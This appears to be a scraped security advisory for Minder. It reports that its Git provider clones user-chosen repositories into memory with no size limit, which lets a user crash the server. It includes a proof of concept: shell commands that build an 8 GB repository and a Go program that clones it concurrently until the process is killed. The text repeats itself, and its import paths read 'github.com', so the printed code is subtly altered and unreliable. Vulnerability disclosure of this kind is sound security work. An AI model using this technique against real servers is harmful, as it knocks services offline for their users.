Minder's Git provider is vulnerable to a denial of service from a maliciously configured GitHub repository. The Git provider clones users repositories using the github.com/go-git/go-git/v5
library on these lines:
|
func (g *Git) Clone(ctx context.Context, url, branch string) (*git.Repository, error) { |
|
opts := &git.CloneOptions{ |
|
URL: url, |
|
SingleBranch: true, |
|
Depth: 1, |
|
Tags: git.NoTags, |
|
ReferenceName: plumbing.NewBranchReferenceName(branch), |
|
} |
|
|
|
g.credential.AddToCloneOptions(opts) |
|
|
|
if err := opts.Validate(); err != nil { |
|
return nil, fmt.Errorf("invalid clone options: %w", err) |
|
} |
|
|
|
storer := memory.NewStorage() |
|
fs := memfs.New() |
|
|
|
// We clone to the memfs go-billy filesystem driver, which doesn't |
|
// allow for direct access to the underlying filesystem. This is |
|
// because we want to be able to run this in a sandboxed environment |
|
// where we don't have access to the underlying filesystem. |
|
r, err := git.CloneContext(ctx, storer, fs, opts) |
|
if err != nil { |
|
var refspecerr git.NoMatchingRefSpecError |
|
if errors.Is(err, git.ErrBranchNotFound) || refspecerr.Is(err) { |
|
return nil, provifv1.ErrProviderGitBranchNotFound |
|
} else if errors.Is(err, transport.ErrEmptyRemoteRepository) { |
|
return nil, provifv1.ErrRepositoryEmpty |
|
} |
|
return nil, fmt.Errorf("could not clone repo: %w", err) |
|
} |
|
|
|
return r, nil |
|
} |
The Git provider does the following on these lines:
First, it sets the CloneOptions
, specifying the url, the depth etc:
|
opts := &git.CloneOptions{ |
|
URL: url, |
|
SingleBranch: true, |
|
Depth: 1, |
|
Tags: git.NoTags, |
|
ReferenceName: plumbing.NewBranchReferenceName(branch), |
|
} |
It then validates the options:
|
if err := opts.Validate(); err != nil { |
|
return nil, fmt.Errorf("invalid clone options: %w", err) |
|
} |
It then sets up an in-memory filesystem, to which it clones:
|
storer := memory.NewStorage() |
|
fs := memfs.New() |
Finally, it clones the repository:
|
r, err := git.CloneContext(ctx, storer, fs, opts) |
This (g *Git) Clone()
method is vulnerable to a DoS attack: A Minder user can instruct Minder to clone a large repository which will exhaust memory and crash the Minder server. The root cause of this vulnerability is a combination of the following conditions:
- Users can control the Git URL which Minder clones.
- Minder does not enforce a size limit to the repository.
- Minder clones the entire repository into memory.
PoC
Here, we share a PoC of how the logic of (g *Git) Clone()
behaves isolated from Minder. To get a true assessment of whether this is 100% identical to its behavior in the context of Minder instead of an isolated PoC, this should be tested out by creating a large repository and instructing Minder to clone it. However, even in that case, it might not be possible to deterministically trigger a DoS because of noise from network calls.
We believe the below PoC is a correct representation because:
- We have replicated the important and impactful parts of
(g *Git) Clone()
- We run this in multiple goroutines which Minder does here:
|
err := e.evalEntityEvent(ctx, inf) |
- Minders timeout is set to 5 minutes:
|
ctx, cancel := context.WithTimeout(e.terminationcontext, DefaultExecutionTimeout) |
. With a reasonable connection, Minder can download many GBs in that period.
In our PoC, we demonstrate that under these two conditions, a large repository can perform a SigKill of the Go process which in Minders case is the Minder server.
First, create a local Git repository:
cd /tmp
mkdir upstream-repo
cd upstream-repo
git init --bare
cd /tmp
git clone /tmp/upstream-repo ./upstream-repo-clone
cd ./upstream-repo-clone
# Add large file:
fallocate -l 8G large-file
git add .
git commit -m "add large file"
git push
cd /tmp
Create and run the following script in /tmp/dos-poc/main.go
:
package main
import (
"context"
"fmt"
"github.com/go-git/go-billy/v5/memfs"
"github.com/go-git/go-git/v5"
"github.com/go-git/go-git/v5/storage/memory"
"runtime"
"sync"
)
func main() {
var (
wg sync.WaitGroup
)
for i := 0; i < 2; i++ {
fmt.Println("Starting one...")
wg.Add(1)
go func() {
defer wg.Done()
opts := &git.CloneOptions{
URL: "/tmp/upstream-repo",
SingleBranch: true,
Depth: 1,
Tags: git.NoTags,
}
storer := memory.NewStorage()
fs := memfs.New()
git.CloneContext(context.Background(), storer, fs, opts)
}()
}
fmt.Println("Finished")
PrintMemUsage()
wg.Wait()
}
func PrintMemUsage() {
var m runtime.MemStats
runtime.ReadMemStats(&m)
// For info on each, see: https://golang.org/pkg/runtime/#MemStats
fmt.Printf("Alloc = %v MiB", bToMb(m.Alloc))
fmt.Printf("\tTotalAlloc = %v MiB", bToMb(m.TotalAlloc))
fmt.Printf("\tSys = %v MiB", bToMb(m.Sys))
fmt.Printf("\tNumGC = %v\n", m.NumGC)
}
func bToMb(b uint64) uint64 {
return b / 1024 / 1024
}
On my local machine, this Go program is killed before it prints "Finished" in the terminal. Observing the memory by way of top
, we can see that the memory climbs steadily until the program crashes around 93% memory consumption.
Minder's Git provider is vulnerable to a denial of service from a maliciously configured GitHub repository. The Git provider clones users repositories using the
github.com/go-git/go-git/v5
library on these lines:minder/internal/providers/git/git.go
Lines 55 to 89 in 8598544
The Git provider does the following on these lines:
First, it sets the
CloneOptions
, specifying the url, the depth etc:minder/internal/providers/git/git.go
Lines 56 to 62 in 8598544
It then validates the options:
minder/internal/providers/git/git.go
Lines 66 to 68 in 8598544
It then sets up an in-memory filesystem, to which it clones:
minder/internal/providers/git/git.go
Lines 70 to 71 in 8598544
Finally, it clones the repository:
minder/internal/providers/git/git.go
Line 77 in 8598544
This
(g *Git) Clone()
method is vulnerable to a DoS attack: A Minder user can instruct Minder to clone a large repository which will exhaust memory and crash the Minder server. The root cause of this vulnerability is a combination of the following conditions:PoC
Here, we share a PoC of how the logic of
(g *Git) Clone()
behaves isolated from Minder. To get a true assessment of whether this is 100% identical to its behavior in the context of Minder instead of an isolated PoC, this should be tested out by creating a large repository and instructing Minder to clone it. However, even in that case, it might not be possible to deterministically trigger a DoS because of noise from network calls.We believe the below PoC is a correct representation because:
(g *Git) Clone()
minder/internal/engine/executor.go
Line 128 in 3afa50e
minder/internal/engine/executor.go
Line 114 in 3afa50e
In our PoC, we demonstrate that under these two conditions, a large repository can perform a SigKill of the Go process which in Minders case is the Minder server.
First, create a local Git repository:
Create and run the following script in
/tmp/dos-poc/main.go
:On my local machine, this Go program is killed before it prints "Finished" in the terminal. Observing the memory by way of
top
, we can see that the memory climbs steadily until the program crashes around 93% memory consumption.